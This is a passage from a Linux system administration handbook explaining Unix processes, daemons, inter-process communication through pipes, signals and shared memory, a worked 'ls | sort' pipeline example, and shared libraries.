First of all, a process can clone itself (this is known as a fork). The kernel allocates a new (but identical) process memory space, and another process to use it. At this time, the only difference between these two processes is their pid. The new process is usually called a child process, and the original process whose pid doesn't change, is called the parent process.
Sometimes, the child process continues to lead its own life independently from its parent, with its own data copied from the parent process. In many cases, though, this child process executes another program. With a few exceptions, its memory is simply replaced by that of the new program, and execution of this new program begins. This is the mechanism used by the init process (with process number 1) to start additional services and execute the whole startup sequence. At some point, one process among init's offspring starts a graphical interface for users to log in to (the actual sequence of events is described in more details in Secțiune 9.1, „System Boot”).
When a process finishes the task for which it was started, it terminates. The kernel then recovers the memory assigned to this process, and stops giving it slices of running time. The parent process is told about its child process being terminated, which allows a process to wait for the completion of a task it delegated to a child process. This behavior is plainly visible in command-line interpreters (known as shells). When a command is typed into a shell, the prompt only comes back when the execution of the command is over. Most shells allow for running the command in the background, it is a simple matter of adding an &
to the end of the command. The prompt is displayed again right away, which can lead to problems if the command needs to display data of its own.
A “daemon” is a process started automatically by the boot sequence. It keeps running (in the background) to perform maintenance tasks or provide services to other processes. This “background task” is actually arbitrary, and does not match anything particular from the system's point of view. They are simply processes, quite similar to other processes, which run in turn when their time slice comes. The distinction is only in the human language: a process that runs with no interaction with a user (in particular, without any graphical interface) is said to be running “in the background” or “as a daemon”.
VOCABULARY Daemon, demon, a derogatory term?
Although daemon term shares its Greek etymology with demon, the former does not imply diabolical evil, instead, it should be understood as a kind of helper spirit. This distinction is subtle enough in English; it is even worse in other languages where the same word is used for both meanings.
Several such daemons are described in detail in Cap. 9, Unix Services.
An isolated process, whether a daemon or an interactive application, is rarely useful on its own, which is why there are several methods allowing separate processes to communicate together, either to exchange data or to control one another. The generic term referring to this is inter-process communication, or IPC for short.
The simplest IPC system is to use files. The process that wishes to send data writes it into a file (with a name known in advance), while the recipient only has to open the file and read its contents.
In the case where you do not wish to store data on disk, you can use a pipe, which is simply an object with two ends; bytes written in one end are readable at the other. If the ends are controlled by separate processes, this leads to a simple and convenient inter-process communication channel. Pipes can be classified into two categories: named pipes, and anonymous pipes. A named pipe is represented by an entry on the filesystem (although the transmitted data is not stored there), so both processes can open it independently if the location of the named pipe is known beforehand. In cases where the communicating processes are related (for instance, a parent and its child process), the parent process can also create an anonymous pipe before forking, and the child inherits it. Both processes will then be able to exchange data through the pipe without needing the filesystem.
IN PRACTICE A concrete example
Let's describe in some detail what happens when a complex command (a pipeline) is run from a shell. We assume we have a bash process (the standard user shell on Debian), with pid 4374; into this shell, we type the command: ls | sort .
The shell first interprets the command typed in. In our case, it understands there are two programs (ls and sort), with a data stream flowing from one to the other (denoted by the
|
character, known as pipe). bash first creates an unnamed pipe (which initially exists only within the bash process itself).Then the shell clones itself; this leads to a new bash process, with pid #4521 (pids are abstract numbers, and generally have no particular meaning). Process #4521 inherits the pipe, which means it is able to write in its “input” side; bash redirects its standard output stream to this pipe's input. Then it executes (and replaces itself with) the ls program, which lists the contents of the current directory. Since ls writes on its standard output, and this output has previously been redirected, the results are effectively sent into the pipe.
A similar operation happens for the second command: bash clones itself again, leading to a new bash process with pid #4522. Since it is also a child process of #4374, it also inherits the pipe; bash then connects its standard input to the pipe output, then executes (and replaces itself with) the sort command, which sorts its input and displays the results.
All the pieces of the puzzle are now set up: ls reads the current directory and writes the list of files into the pipe; sort reads this list, sorts it alphabetically, and displays the results. Processes numbers #4521 and #4522 then terminate, and #4374 (which was waiting for them during the operation), resumes control and displays the prompt to allow the user to type in a new command.
Not all inter-process communications are used to move data around, though. In many situations, the only information that needs to be transmitted are control messages such as “pause execution” or “resume execution”. Unix (and Linux) provides a mechanism known as signals, through which a process can simply send a specific signal (chosen from a predefined list of signals) to another process. The only requirement is to know the pid of the target.
For more complex communications, there are also mechanisms allowing a process to open access, or share, part of its allocated memory to other processes. Memory now shared between them can be used to move data between the processes.
Finally, network connections can also help processes communicate; these processes can even be running on different computers, possibly thousands of kilometers apart.
It is quite standard for a typical Unix-like system to make use of all these mechanisms to various degrees.
Function libraries play a crucial role in a Unix-like operating system. They are not proper programs, since they cannot be executed on their own, but collections of code fragments that can be used by standard programs. Among the common libraries, you can find:
Thanks to those libraries, applications can reuse existing code. Application development is simplified since many applications can reuse the same functions. With libraries often developed by different persons, the global development of the system is closer to Unix's historical philosophy.
CULTURE The Unix Way: one thing at a time
One of the fundamental concepts that underlies the Unix family of operating systems is that each tool should only do one thing, and do it well; applications can then reuse these tools to build more advanced logic on top. This philosophy can be seen in many incarnations. Shell scripts may be the best example: they assemble complex sequences of very simple tools (such as grep, wc, sort, uniq and so on). Another implementation of this philosophy can be seen in code libraries: the libpng library allows reading and writing PNG images, with different options and in different ways, but it does only that; no question of including functions that display or edit images.
Moreover, these libraries are often referred to as “shared libraries”, since the kernel is able to only load them into memory once, even if several processes use the same library at the same time. This allows saving memory, when compared with the opposite (hypothetical) situation where the code for a library would be loaded as many times as there are processes using it.